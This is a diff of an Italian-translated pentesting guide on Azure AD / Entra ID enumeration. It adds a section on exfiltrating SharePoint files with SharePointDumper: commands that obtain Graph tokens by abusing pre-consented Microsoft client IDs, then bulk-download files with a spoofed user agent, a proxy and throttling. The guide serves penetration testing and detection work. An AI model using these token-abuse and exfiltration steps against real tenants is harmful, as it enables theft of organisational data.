Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-02-12 12:17:59 +00:00
parent 0946b72059
commit f91582685b

View File

@@ -4,9 +4,9 @@
## Informazioni di base
Azure Active Directory (Azure AD) funge da servizio basato su cloud di Microsoft per la gestione dell'identità e degli accessi. È fondamentale per consentire ai dipendenti di accedere e ottenere risorse, sia all'interno che al di fuori dell'organizzazione, comprendendo Microsoft 365, il portale Azure e una moltitudine di altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura di servizi essenziali per l'identità, includendo in modo prominente **autenticazione, autorizzazione e gestione degli utenti**.
Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per identity and access management. È fondamentale per permettere agli utenti di effettuare sign in e ottenere accesso a risorse sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, the Azure portal e molte altre applicazioni SaaS. La progettazione di Azure AD si concentra nel fornire servizi di identità essenziali, includendo in particolare **authentication, authorization, and user management**.
Le caratteristiche chiave di Azure AD comprendono **autenticazione a più fattori** e **accesso condizionale**, insieme a un'integrazione fluida con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità degli utenti e consentono alle organizzazioni di implementare e far rispettare efficacemente le loro politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità degli utenti.
Le funzionalità chiave di Azure AD comprendono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri Microsoft security services. Queste funzionalità aumentano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare e far rispettare efficacemente le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità utente.
## Enumerazione
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Quando effettui il **login** tramite **CLI** in Azure con qualsiasi programma, stai utilizzando un **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Applicazioni, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non sarai in grado di vederle tutte** nelle **liste delle applicazioni consentite** che puoi vedere nella console, **ma sono consentite per impostazione predefinita**.
Quando ti **login** tramite **CLI** su Azure con qualsiasi programma, stai usando una **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **liste di applicazioni consentite** visibili nella console, **ma sono consentite di default**.
Ad esempio, uno **script powershell** che **autentica** utilizza un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere utilizzando strumenti che si connettono tramite quell'App.
Ad esempio, uno **powershell script** che **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere usando strumenti che si connettono tramite quell'App.
Tuttavia, ci sono **altri client-id** di applicazioni che **ti permetteranno di connetterti ad Azure**:
Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
-Verbose -Debug `
-InformationAction Continue
```
### Inquilini
### Tenant
{{#tabs }}
{{#tab name="az cli" }}
@@ -226,7 +227,7 @@ az account tenant list
### Utenti
Per ulteriori informazioni sugli utenti di Entra ID, controlla:
Per ulteriori informazioni sugli utenti Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -365,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sa**richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypass**. Controlla:
È fortemente raccomandato abilitare MFA per ogni utente; tuttavia alcune aziende non lo impostano o lo configurano tramite Conditional Access: all'utente ver**richiesto MFA se** effettua l'accesso da una posizione, browser o altra condizione specifica. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Groups
### Gruppi
Per ulteriori informazioni sui gruppi di Entra ID, controlla:
Per maggiori informazioni sui gruppi di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -487,8 +488,8 @@ I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella pagina seguente:
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, questo può permettere di abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella seguente pagina:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -496,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Per ulteriori informazioni sui service principals di Entra ID, controlla:
Per maggiori informazioni sui service principals di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
### Applicazioni
Per ulteriori informazioni sulle Applicazioni controlla:
Per maggiori informazioni sulle Applicazioni consulta:
{{#ref}}
../az-basic-information/
{{#endref}}
Quando un'App viene generata, vengono date 2 tipologie di permessi:
Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni:
- **Permessi** dati al **Service Principal**
- **Permessi** che l'**app** può avere e utilizzare per **conto dell'utente**.
- **Permissions** assegnate al **Service Principal**
- **Permissions** che la **app** può avere e utilizzare per conto dell'**utente**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
{{#endtab }}
@@ -793,20 +821,20 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
> [!WARNING]
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** concedendosi il ruolo.\
> Per ulteriori informazioni [**controlla questo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Per maggiori informazioni [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Una stringa segreta che l'applicazione utilizza per dimostrare la propria identità quando richiede un token è la password dell'applicazione.\
> Quindi, se trovi questa **password** puoi accedere come **service principal** **all'interno** del **tenant**.\
> Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi ottenerla di nuovo).\
> L'**owner** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\
> Gli accessi come questi service principals **non sono contrassegnati come rischiosi** e **non avranno MFA.**
> Una stringa segreta che l'applicazione usa per dimostrare la propria identità quando richiede un token è l'application password.\
> Quindi, se trovi questa **password** puoi accedere come **service principal** all'interno del **tenant**.\
> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\
> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\
> Gli accessi come questi **service principal** non sono **segnalati come rischiosi** e non avranno **MFA**.
È possibile trovare un elenco di App ID comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
È possibile trovare una lista di App IDs comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
Per ulteriori informazioni su Managed Identities controlla:
Per maggiori informazioni su Managed Identities consulta:
{{#ref}}
../az-basic-information/
@@ -824,7 +852,7 @@ az identity list --output table
### Ruoli di Azure
Per ulteriori informazioni sui ruoli di Azure, controlla:
Per maggiori informazioni sui ruoli di Azure consulta:
{{#ref}}
../az-basic-information/
@@ -909,9 +937,9 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Ruoli di Entra ID
### Entra ID Roles
Per ulteriori informazioni sui ruoli di Azure, controlla:
Per maggiori informazioni sui ruoli di Azure consulta:
{{#ref}}
../az-basic-information/
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Se un dispositivo (VM) è **collegato ad AzureAD**, gli utenti di AzureAD potranno **accedere**.\
> Inoltre, se l'utente connesso è **Proprietario** del dispositivo, sarà **amministratore locale**.
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti da AzureAD potranno **accedere**.\
> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **local admin**.
### Unità Amministrative
### Unità amministrative
Per ulteriori informazioni sulle unità amministrative, controlla:
Per maggiori informazioni sulle unità amministrative consulta:
{{#ref}}
../az-basic-information/
@@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Escalation dei privilegi di Entra ID
## Esfiltrazione di dati SharePoint delegata via Microsoft Graph (SharePointDumper)
Attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e produce telemetria per richiesta utile al testing delle rilevazioni.
### Ottenere token delegati utilizzabili
- SharePointDumper stesso **does not authenticate**; fornire un access token (opzionalmente un refresh token).
- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempi di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL.
### Esecuzione di SharePointDumper per enumeration + exfiltration
- Basic dump con UA / proxy / throttling personalizzati:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Controllo dell'ambito: includere/escludere siti o estensioni e limiti globali:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Riprendi** le esecuzioni interrotte (esegue nuovamente l'enumerazione ma salta gli elementi già scaricati):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Operational notes:
- Preferisce **token abilitati CAE** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
- Genera **log di richieste CSV/JSON** per **Graph + SharePoint** e oscura i token di download di SharePoint incorporati per impostazione predefinita (attivabile/disattivabile).
- Supporta **User-Agent** personalizzato, **HTTP proxy**, **delay + jitter per richiesta**, e spegnimento sicuro con **Ctrl+C** per il traffic shaping durante test di detection/IR.
## Entra ID Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Escalation dei privilegi di Azure
## Azure Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
@@ -1086,53 +1161,53 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Meccanismi difensivi
### Gestione delle identità privilegiate (PIM)
### Privileged Identity Management (PIM)
La Gestione delle identità privilegiate (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti in modo non necessario.
Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti quando non necessario.
Una delle principali caratteristiche fornite da PIM è che consente di non assegnare ruoli a soggetti che sono costantemente attivi, ma di renderli **idonei per un periodo di tempo (ad es. 6 mesi)**. Poi, ogni volta che l'utente desidera attivare quel ruolo, deve richiederlo indicando il tempo di cui ha bisogno per il privilegio (ad es. 3 ore). Quindi un **amministratore deve approvare** la richiesta.\
Nota che l'utente sarà anche in grado di chiedere di **estendere** il tempo.
Una delle funzionalità principali di PIM è che permette di non assegnare ruoli a principal che sono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo in cui necessita del privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
Nota che l'utente può anche richiedere di **estendere** il tempo.
Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Quando PIM è abilitato, è possibile configurare ciascun ruolo con determinati requisiti come:
Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
- Durata massima (ore) di attivazione
- Durata massima (ore) dell'attivazione
- Richiedere MFA all'attivazione
- Richiedere contesto di autenticazione di Accesso Condizionale
- Richiedere giustificazione all'attivazione
- Richiedere Conditional Access authentication context
- Richiedere una giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
- Richiedere approvazione per attivare
- Tempo massimo per far scadere le assegnazioni idonee
- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni con quel ruolo
- Richiedere approvazione per l'attivazione
- Tempo massimo per la scadenza delle assegnazioni elegibili
- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni relative a quel ruolo
### Politiche di Accesso Condizionale
### Conditional Access Policies
Controlla:
Vedi:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Protezione dell'identità di Entra
### Entra Identity Protection
La Protezione dell'identità di Entra è un servizio di sicurezza che consente di **rilevare quando un utente o un accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un tentativo di accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
Consente all'amministratore di configurarlo per **bloccare** i tentativi quando il rischio è "Basso e superiore", "Medio e superiore" o "Alto". Tuttavia, per impostazione predefinita è completamente **disabilitato**:
Consente all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Oggigiorno è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies dove è possibile configurare le stesse opzioni.
### Protezione della password di Entra
### Entra Password Protection
La Protezione della password di Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
Consente anche di **vietare un elenco di password personalizzato** che è necessario fornire.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
Consente inoltre di **bloccare una lista personalizzata di password** che è necessario fornire.
Può essere **applicata sia** a livello cloud che su Active Directory on-premises.
Può essere **applicato sia** a livello cloud che su Active Directory on-premises.
La modalità predefinita è **Audit**:
@@ -1141,5 +1216,7 @@ La modalità predefinita è **Audit**:
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
{{#include ../../../banners/hacktricks-training.md}}